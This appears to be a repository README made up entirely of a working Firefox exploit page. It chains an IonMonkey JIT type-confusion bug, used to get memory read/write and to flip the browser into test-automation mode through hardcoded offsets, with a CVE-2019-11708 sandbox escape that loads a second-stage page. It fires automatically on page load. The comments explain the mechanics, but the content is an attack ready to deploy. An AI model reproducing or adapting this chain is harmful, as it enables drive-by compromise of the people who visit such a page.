README.md
Rendering markdown...
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<script>
function confusion()
{
let ab = new ArrayBuffer(0x1000); //from original poc
let victim = new Uint8Array(0x1000); //from original poc
let tArr = new Array(0x1,0x2, 0x3, 0x4);
let ab2 = new ArrayBuffer(0x100);
let rwPrimitive = new DataView(ab);
let str = new String("security.turn_off_all_security_so_that_viruses_can_take_over_this_computer");
var float64 = new Float64Array(1);
var int32 = new Int32Array(float64.buffer);
function Hax(val, l, trigger) {
// In the final invocation:
// Ultimately confuse these two objects which each other.
// x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
// y is a real ArrayBufferView object.
let y = new Float64Array(0x1000);
// * Trigger a conversion of |this| to a NativeObject.
// * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
// * Trigger the "roll back" of |this| to a NativeObject with only property .a
// * Bailout of the JITed code due to type inference changes
this.a = val;
// Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
// incorrectly assume that |this| already has the final type (so already has property .x)
for (let i = 0; i < l; i++) {}
// The JITed code will now only have a property store here and won't update the Shape.
this.x = x;
if (trigger) {
// This property definition is conditional (and rarely used) so that an inline cache
// will be emitted for it, which will inspect the Shape of |this|. As such, .y will
// be put into the same slot as .x, as the Shape of |this| only shows property .a.
this.y = y;
// At this point, .x and .y overlap, and the JITed code below believes that the slot
// for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
}
// This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
this.x.data = victim;
}
//Trigger the confusion
for (let i = 0; i < 1000; i++) {
new Hax(1337, 1, false);
}
let obj = new Hax("asdf", 10000000, true);
// Driver is now a Float64Array whose data pointer points to a Uint8Array.
let driver = obj.y;
let ArrayBufAddr = driver[11];
//float64[0] = ArrayBufAddr;
//prompt("ArrayBufAddr = ", "0x" + SignedDwordToUnsignedDword(int32[1]).toString(16) + "" + SignedDwordToUnsignedDword(int32[0]).toString(16));
let ObjectGroup = driver[0]; //Get address of objectGroup
float64[0] = ObjectGroup;
let ObjectGroupUint = SignedDwordToUnsignedDword(int32[0]) + SignedDwordToUnsignedDword(int32[1]) * 0x100000000;
let clasp_ = readPtr(ObjectGroupUint); //Get address from classp_
var xulBase = clasp_ - 0x045d4fd0;
/* Set sAutomationPrefIsSet, sPrefCacheAdded and disabledForTest variables to true (xpcpublic.h)*/
/* this is to make AreNonLocalConnectionsDisabled() and IsInAutomation() return true*/
/* and make the browser think it is being executed in testing mode */
let sAutomationPrefIsSet = xulBase + 0x05034e1b;
writeDword(sAutomationPrefIsSet, 0x1);
let sPrefCacheAdded = xulBase + 0x05034E1c;
writeDword(sPrefCacheAdded, 0x1); // sAutomationPrefIsSet and sPrefCacheAdded are bool sized adjecent variables so dword writes are overlapping
// thats why write order here is important
let disabledForTest = xulBase + 0x04fe4dc3;
writeDword(disabledForTest, 0x1);
return;
/*----------------- tool funcions --------------------------*/
function readDword(addr)
{
int32[0] = addr & 0xFFFFFFFF;
int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
driver[27] = float64[0]; //replace data pointer of rwPrimitive object
var value = rwPrimitive.getInt32(0, true);
return value;
}
function writeDword(addr, value)
{
int32[0] = addr & 0xFFFFFFFF;
int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
driver[27] = float64[0]; //replace data pointer of rwPrimitive object
rwPrimitive.setInt32(0, value & 0xFFFFFFFF, true);
}
function writePtr(addr, value)
{
int32[0] = addr & 0xFFFFFFFF;
int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
driver[27] = float64[0]; //replace data pointer of rwPrimitive object
rwPrimitive.setInt32(0, value & 0xFFFFFFFF, true);
rwPrimitive.setInt32(4, (value / 0x100000000) & 0xFFFFFFFF, true);
}
function readPtr(addr)
{
int32[0] = addr & 0xFFFFFFFF;
int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
driver[27] = float64[0]; //replace data pointer of rwPrimitive object
var value = rwPrimitive.getUint32(0, true);
value += rwPrimitive.getUint32(4, true) * 0x100000000;
return value;
}
function SignedDwordToUnsignedDword(sd)
{
return (sd < 0) ? sd + 0x100000000 : sd;
}
}
function run()
{
if( window.netscape.security.PrivilegeManager == undefined )
{
try{
confusion(); //if it didn't work reload the page
} //(sometimes the confusion does not get triggeret on first load)
catch (error) {}
finally{
location.reload();
}
}else{
/* use CVE-2019-11708 to escape the sandbox */
/* this part is taken from exploit by 0vercl0k (https://github.com/0vercl0k/CVE-2019-11708) */
window.netscape.security.PrivilegeManager.enablePrivilege();
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
const Code = _GetDocShellFromWindow.toSource();
Components.utils.evalInSandbox(Code, Sbx);
const DocShell = Sbx._GetDocShellFromWindow(window);
Components.utils.nukeSandbox(Sbx);
DocShell.messageManager.sendSyncMessage('Prompt:Open', { uri: `${location.origin}/stage2.html` });
document.write("<h1> Success! ...</h1>")
}
}
function _GetDocShellFromWindow(Win) {
return Win.docShell;
}
</script>
</head>
<body>
<script type="text/javascript">
window.addEventListener('load', (event) => { run(); });
</script>
</body>
</html>